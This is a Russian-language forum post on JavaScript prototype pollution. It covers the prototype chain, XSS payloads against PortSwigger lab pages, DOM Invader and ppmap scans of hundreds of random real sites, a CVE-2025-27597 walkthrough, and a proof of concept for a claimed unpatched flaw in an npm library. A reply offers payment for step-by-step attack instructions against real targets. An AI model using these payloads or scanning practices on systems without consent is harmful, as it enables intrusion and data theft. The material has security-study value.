LIMB
Вход Регистрация

тема

JavaScript, ну ты чё, Prototype Pollution

ocean · · 1 ответов · 584 просмотров

Эксклюзивно для форума LIMB.cc

Чтобы сложить представление об уязвимости загрязнения прототипа, сделаем небольшое теоретическое погружение в JavaScript.
    
JavaScript проектировался как прототипно-ориентированный язык, в нём существуют объекты и примитивы: у примитивов нет состояния, нет методов, нет внутренней структуры, а у объектов - есть. Но даже примитивы (string, boolean, bigint, symbol, null, undefined) могут вести себя как объекты благодаря механизму обёртки, и в итоге можно обратиться к "hello".toUpperCase() (то есть string + метод).

Примитивы - копируются по значению, объекты - передаются по ссылке (адресу). Потому что первые - лёгковесные, а вторые - большие и сложные.
    
При этом JavaScript был разработан в крайне сжатые сроки - типа недели:

Не удалось прогрузить медиа


Википедия очень хорошо раскрывает, что такое прототипно-ориентированный язык на примерах.

Модель наследования в JS примерно такова.  Каждый объект в JS имеет связь с другим объектом, называемым прототипом. Прототип объекта - это ссылка на другой объект, от которого он наследуется. Каждый объект наследует от прототипа. Таким образом, прототип самого прототипа также имеет прототип.

На примере.
Создадим массив (массив - это объект, поскольку не примитив; всё, что не примитив, - это объект):

JavaScript:
const numbers = [10, 20, 30, 40, 50];

Вызовем метод (то же, что и функция, только в контексте объекта) slice()

JavaScript:
const newNumbers = numbers.slice(1, 4);

Откуда взялся slice? Из конструктора Array. Конструктор Array имеет объект-прототип Array.prototype. Вся цепочка такова - numbers  ---> Array.prototype ---> Object.prototype ---> null

Не удалось прогрузить медиа


Суть в том, что этот ворох методов можно изменить динамически в рантайме (то есть когда приложение уже запущено и работает).

Не удалось прогрузить медиа


Везде, где будет вызван метод slice, вместо оригинального кода будут показаны ослики; подобное переопределение в продакшене, скорее всего, крашнет всё приложение.

Можно переопределить slice для конкретного массива, а не глобально:

Не удалось прогрузить медиа


То есть, если у нас есть объект user, и там задано isAdmin: false, то это меняется через user.__proto__.isAdmin = true, и при следующем вызове получается аккаунт с максимальными привилегиями.

Резюмируя: всё - просто объекты. Всё можно переписать.


JavaScript изначально разработан как язык для браузера; впоследствии стал популярным решением для серверного использования. Загрязнение прототипа может быть на клиентском и серверном уровне. 

Терминология справедлива для двух типов:

Источник - локация, в которой происходит передача потока данных, контролируемая пользователем, в приложение.
Гаджет - это такой участок, который позволяет выполнить некое действие; можно сказать, что это объект, непосредственно в котором идёт пейлод.
Синк - это точка приложения, которая отображает или выполняет данные, которые через источник были пролиты в гаджет.


Клиенсткие примеры из списка - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/

На примере - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-query-string-gadget/
Не удалось прогрузить медиа


Источник берётся из параметров запроса - new URL(location);
Гаджетом выступает функция - deparam(params.toString()), она превращает URL‑параметры в объект;

Не удалось прогрузить медиа


Её задумка в том, что параметры запроса - это очень сложная строка типа ?filter[price][min]=10&filter[tags][]=a&filter[tags][]=b; И превратить её в { filter: { price: { min: "10" }, tags: ["a","b"] } } может иметь смысл.
Синк - innerHTML;
Пейлод - ?__proto__htmл="%27><img+src+onerror%3Dalert%281%29>

Или тут - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-postmessage-string/
Не удалось прогрузить медиа


Источник - window.addEventListener('message')
Гаджет - JSON.parse() + $.extend(true, {}, data)
Синк - eval()

Тут же - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-simple-function/
Источник снова берётся из параметров запроса - new URL(location);
Гаджетом выступает функция - deparam
А синком - innerHTML;
Но пейлод - __proto__[tester]=alert%281%29
Поскольку
if(o.tester) {
    Function(o.tester)();
}

Не удалось прогрузить медиа




Автоматический поиск client-side prototype pollution через Burp Suite.

Спойлер: В идеальном случае
В Burp Suite в браузере, во вкладке Extensions, включаем расширение Burp Suite:

Не удалось прогрузить медиа


В окне DOM Invader, на вкладке Attack types, включаем тумблер Prototype pollution is on:
Не удалось прогрузить медиа


Открываем DevTools. Тестируем. Сканируем на наличие гаджетов:
Не удалось прогрузить медиа


Не удалось прогрузить медиа

Не удалось прогрузить медиа


Нажимаем «Эксплоит»:
Не удалось прогрузить медиа

Не удалось прогрузить медиа



Из практики: тестирование случайной выборки сайтов на client-side prototype pollution крайне неэффективно.
Тест 1 - Dom Invaider

Взяты случайные 25 сайтов и вручную потыканы разные точки приложения - 0 найденных уязвимостей.


Тест 2 - Dom Invaider

Возьмём точки, которые потенциально могут содержать уязимый код: строка ?filter.
Взяты 25 сайтов по дорке inurl:"?filter.php" (из мысли о том, что поскольку уязвимость клиентская, разбор параметров URL может происходить на фронте в реальном приложении).
0 найденных уязвимостей, однако случаи наличия источника вместе с синками встречались часто.

Нужно понимать, как работает Dom Invaider. DOM Invader фиксирует наличие источника и синка, но чтобы инструмент заявил «Prototype pollution found» или предложил «Test gadgets», он должен подтвердить, что цепочка передачи данных действительно существует и опасна - то есть данные из источника реально доходят до синка, и синк действительно может загрязнить прототип!


Тест 3 - ppmap (https://github.com/kleiton0x00/ppmap_)

Программа определяет разделитель (или его отсутствие), далее пробует инжектить пейлод и смотрит результат;

Взято 595 сайтов:

Прогон краулером katana с тайм-лимитом в 1 минуту;
Ссылки, содержащие ? в URL - 39 769;
С каждого домена (поддомены считаются уникальными) случайно взята одна ссылка - 662 случайных ссылки.

Уязвимостей, обнаруженных ppmap - 0.



Попробуем Server Side :) с конкретными библиотеками!

Разберём на примере CVE-2025-27597
У неё очень яркий PoC - github.com/intlify/vue-i18n/security/advisories/GHSA-p2ph-7g93-hw3m

Из него понятно, что источником служит строка {"__proto__.pollutedKey": "pollutedValue"}
(в реальном приложении это любой вход, который приложение передаёт в handleFlatJson - JSON из сети, файл, пользовательский ввод)
Гаджет - функция handleFlatJson (по мокам можно понять, что в ней происходит)
Синк - любой последующий код, который будет использовать (в рамках PoC это delete Object.prototype.pollutedKey)


Попробуем найти 0-day.

Где ищем? В парсерах URL, а именно в любом коде, который берёт пользовательский ввод и приводит его к объекту.
Возможно https://www.npmjs.com/package/@hyunjun19/rest-url ?

Не удалось прогрузить медиа


Ага, в библиотеке неуловимого Джо действительно есть 0-day, разберёмся: https://github.com/hyunjun19/rest-url

Где? В Object.assign(mergedParam, searchParam, urlParam);

Не удалось прогрузить медиа


и в функции addMapValue

Не удалось прогрузить медиа


Исходя из логики in в коде, а именно const isExistKey = key in map;, а ключ __proto__ он всегда exist, мы попадаем в блок addArrayValue(map, key, decodedValue);, а значит наш объект становится фактически массивом, а значит это ограничивает эксплоатацию, и тем не менее; Сначала убедимся, что работает отравление прототипа:

JavaScript:
const MapModule = require('./dst/Map.js');
const addMapValue = MapModule.addMapValue || MapModule.default?.addMapValue || MapModule;

function log(name, val) { console.log(name, val); }

let target = {};
log('before prototype is array?', Array.isArray(Object.getPrototypeOf(target)));
log('before prototype keys of target:', Object.getOwnPropertyNames(Object.getPrototypeOf(target)));


addMapValue(target, '__proto__', 'first');
addMapValue(target, '__proto__', 'second');
addMapValue(target, '__proto__', 'third');


log('after prototype is array?', Array.isArray(Object.getPrototypeOf(target)));
log('after prototype keys of target:', Object.getOwnPropertyNames(Object.getPrototypeOf(target)));
log('Object.getPrototypeOf(target):', Object.getPrototypeOf(target));

Не удалось прогрузить медиа


Объект стал массивом и в его прототип были добавлены новые свойства. Добавим осликов:

JavaScript:
const MapModule = require('./dst/Map.js');
const addMapValue = MapModule.addMapValue || MapModule.default?.addMapValue || MapModule;

let target = {};

// 1) превратить прототип в массив
addMapValue(target, '__proto__', 'dummy');
const proto = Object.getPrototypeOf(target);
console.log('proto before:', proto);

// 2) добавить через addMapValue строку с кодом функции
const fnCode = 'function(){ return "🐴 ослики идут!"; }';
addMapValue(proto, 'sayDonkeys', fnCode);

// В этом моменте proto.sayDonkeys - строка
console.log('proto.sayDonkeys (type):', typeof proto.sayDonkeys, 'value:', proto.sayDonkeys);

// 3) превратить строку в функцию 
try {
  proto.sayDonkeys = eval('(' + proto.sayDonkeys + ')'); // превращаем в функцию
  console.log('target.sayDonkeys():', target.sayDonkeys());
} catch (e) {
  console.error('eval failed:', e);
}

Не удалось прогрузить медиа


Если бы addMapValue не полагалась на key in map и не упаковывала значение в массив через addArrayValue, то всё было бы просто, например addMapValue(target, '__proto__', { ... }).
Например, для

JavaScript:
function addMapValue(map, key, value) {
  if (!key) return;
  map[key] = value;
}

PoC:

JavaScript:
let target = {};
addMapValue(target, '__proto__', { sayDonkeys() { return 'ослик'; } });
console.log(target.sayDonkeys()); // "ослик"

В остальном всё сильно зависит от другого кода, присутствующего в приложении. Поскольку всё - объекты, всё можно переписать, но бездумное переписывание чего попало приведёт просто к слому приложения :)
👍34 🔥8 😮7 🤔6 😢2 💯9
Ответocean

Взяты случайные 25 сайтов и вручную потыканы разные точки приложения - 0 найденных уязвимостей .

 Как потыкал конкретно, куда, скриншоты для примера хотя бы паручку сайтов, если это багбаунти не обязательно домен указывать.
Ответocean

Прогон краулером katana с тайм-лимитом в 1 минуту;

Команды? Скриншоты?

@ocean спасибо, что пишите статьи по свежим CVE. Но не хватает все таки команд, конкретных инструкций для скрипткиди. Вы написали сложно, новичку не поймут. Нужно сделать вторую часть рассказать чем опасен Prototype Pollution, к каким видам уязвимости можно привести. И на конкретном таргете раскрутить, чем это опасно, что злоумышленник может похитить. Вот такая статья будет интересная людям. Сделайте, пожалуйста оплатим обе.
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.